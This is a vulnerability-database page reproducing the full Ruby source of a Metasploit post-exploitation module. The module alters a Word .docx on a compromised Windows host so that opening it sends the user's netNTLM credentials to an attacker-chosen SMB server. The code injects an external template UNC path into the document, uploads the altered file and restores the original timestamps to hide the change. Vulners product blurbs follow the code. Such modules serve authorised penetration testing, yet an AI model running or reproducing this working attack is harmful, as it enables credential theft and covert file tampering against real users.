Lucene search
K

Windows Gather Microsoft Office Word UNC Path Injector

🗓️ 27 Mar 2013 15:23:19Reported by SphaZ <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 57 Views

Module modifies remote .docx file to submit netNTLM credentials to remote host. Works with Microsoft Word 2003, 2007, 2010, and 2013

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#
# Gems
#

# for extracting files
require 'zip'

#
# Project
#

# for creating files
require 'rex/zip'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Priv

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Microsoft Office Word UNC Path Injector',
        'Description' => %q{
          This module modifies a remote .docx file that will, upon opening, submit
          stored netNTLM credentials to a remote host. Verified to work with Microsoft
          Word 2003, 2007, 2010, and 2013. In order to get the hashes the
          auxiliary/server/capture/smb module can be used.
        },
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534' ]
        ],
        'Platform'	=> ['win'],
        'SessionTypes'	=> ['meterpreter'],
        'Author' => [
          'SphaZ <cyberphaz[at]gmail.com>'
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              priv_fs_get_file_mace
              priv_fs_set_file_mace
            ]
          }
        }
      )
    )

    register_options(
      [
        OptAddress.new('SMBHOST', [true, 'Server IP or hostname that the .docx document points to']),
        OptString.new('FILE', [true, 'Remote file to inject UNC path into. ']),
        OptBool.new('BACKUP', [true, 'Make local backup of remote file.', true]),
      ]
    )
  end

  # Store MACE values so we can set them later again.
  def get_mace
    begin
      mace = session.priv.fs.get_file_mace(datastore['FILE'])
      vprint_status('Got file MACE attributes!')
    rescue StandardError
      print_error("Error getting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!")
    end
    return mace
  end

  # here we unzip into memory, inject our UNC path, store it in a temp file and
  # return the modified zipfile name for upload
  def manipulate_file(zipfile)
    ref = '<w:attachedTemplate r:id="rId1"/>'

    rels_file_data = ''
    rels_file_data << '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
    rels_file_data << '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    rels_file_data << '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/'
    rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['SMBHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"

    zip_data = unzip_docx(zipfile)
    if zip_data.nil?
      return nil
    end

    # file to check for reference file we need
    file_content = zip_data['word/settings.xml']
    if file_content.nil?
      print_error('Bad "word/settings.xml" file, check if it is a valid .docx.')
      return nil
    end

    # if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
    if !file_content.index('w:attachedTemplate r:id="rId1"').nil?
      vprint_status('Reference to rels file already exists in settings file, we dont need to add it :)')
    else
      # now insert the reference to the file that will enable our malicious entry
      insert_one = file_content.index('<w:defaultTabStop')

      if insert_one.nil?
        insert_two = file_content.index('<w:hyphenationZone') # 2nd choice
        if !insert_two.nil?
          vprint_status('HypenationZone found, we use this for insertion.')
          file_content.insert(insert_two, ref)
        end
      else
        vprint_status('DefaultTabStop found, we use this for insertion.')
        file_content.insert(insert_one, ref)
      end

      if insert_one.nil? && insert_two.nil?
        print_error('Cannot find insert point for reference into settings.xml')
        return nil
      end

      # update the files that contain the injection and reference
      zip_data['word/settings.xml'] = file_content
    end
    zip_data['word/_rels/settings.xml.rels'] = rels_file_data
    return zip_docx(zip_data)
  end

  # RubyZip sometimes corrupts the document when manipulating inside a
  # compressed document, so we extract it with Zip::File into memory
  def unzip_docx(zipfile)
    vprint_status("Extracting #{datastore['FILE']} into memory.")
    zip_data = Hash.new
    begin
      Zip::File.open(zipfile) do |filezip|
        filezip.each do |entry|
          zip_data[entry.name] = filezip.read(entry)
        end
      end
    rescue Zip::Error => e
      print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.")
      return nil
    end
    return zip_data
  end

  # making the actual docx
  def zip_docx(zip_data)
    docx = Rex::Zip::Archive.new
    zip_data.each_pair do |k, v|
      docx.add_file(k, v)
    end
    return docx.pack
  end

  # We try put the mace values back to that of the original file
  def set_mace(mace)
    if !mace.nil?
      vprint_status("Setting MACE value of #{datastore['FILE']} set to that of the original file.")
      begin
        session.priv.fs.set_file_mace(datastore['FILE'], mace['Modified'], mace['Accessed'], mace['Created'], mace['Entry Modified'])
      rescue StandardError
        print_error("Error setting the original MACE values of #{datastore['FILE']}, not a fatal error but timestamps will be different!")
      end
    end
  end

  def rhost
    client.sock.peerhost
  end

  def run
    # sadly OptPath does not work, so we check manually if it exists
    if !file_exist?(datastore['FILE'])
      print_error('Remote file does not exist!')
      return
    end

    # get mace values so we can put them back after uploading. We do this first, so we have the original
    # accessed time too.
    file_mace = get_mace

    # download the remote file
    print_status("Downloading remote file #{datastore['FILE']}.")
    org_file_data = read_file(datastore['FILE'])

    # store the original file because we need to unzip from disk because there is no memory unzip
    if datastore['BACKUP']
      # logs_dir = ::File.join(Msf::Config.local_directory, 'unc_injector_backup')
      # FileUtils.mkdir_p(logs_dir)
      # @org_file =  logs_dir + File::Separator + datastore['FILE'].split('\\').last
      @org_file = store_loot(
        'host.word_unc_injector.changedfiles',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
        rhost,
        org_file_data,
        datastore['FILE']
      )
      print_status("Local backup kept at #{@org_file}")
      # Store information in note database so its obvious what we changed, were we stored the backup file..
      note_string = "Remote file #{datastore['FILE']} contains UNC path to #{datastore['SMBHOST']}. "
      note_string += " Local backup of file at #{@org_file}."
      report_note(
        host: session.session_host,
        type: 'host.word_unc_injector.changedfiles',
        data: {
          session_num: session.sid,
          stype: session.type,
          desc: session.info,
          platform: session.platform,
          via_payload: session.via_payload,
          via_exploit: session.via_exploit,
          created_at: Time.now.utc,
          files_changed: note_string
        }
      )
    else
      @org_file = Rex::Quickfile.new('msf_word_unc_injector')
    end

    vprint_status("Written remote file to #{@org_file}")
    File.open(@org_file, 'wb') { |f| f.write(org_file_data) }

    # Unzip, insert our UNC path, zip and return the data of the modified file for upload
    injected_file = manipulate_file(@org_file)
    if injected_file.nil?
      return
    end

    # upload the injected file
    write_file(datastore['FILE'], injected_file)
    print_status('Uploaded injected file.')

    # set mace values back to that of original
    set_mace(file_mace)

    # remove tmpfile if no backup is desired
    if !datastore['BACKUP']
      @org_file.close
      begin
        @org_file.unlink
      rescue StandardError
        nil
      end
    end

    print_good("Done! Remote file #{datastore['FILE']} succesfully injected to point to #{datastore['SMBHOST']}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation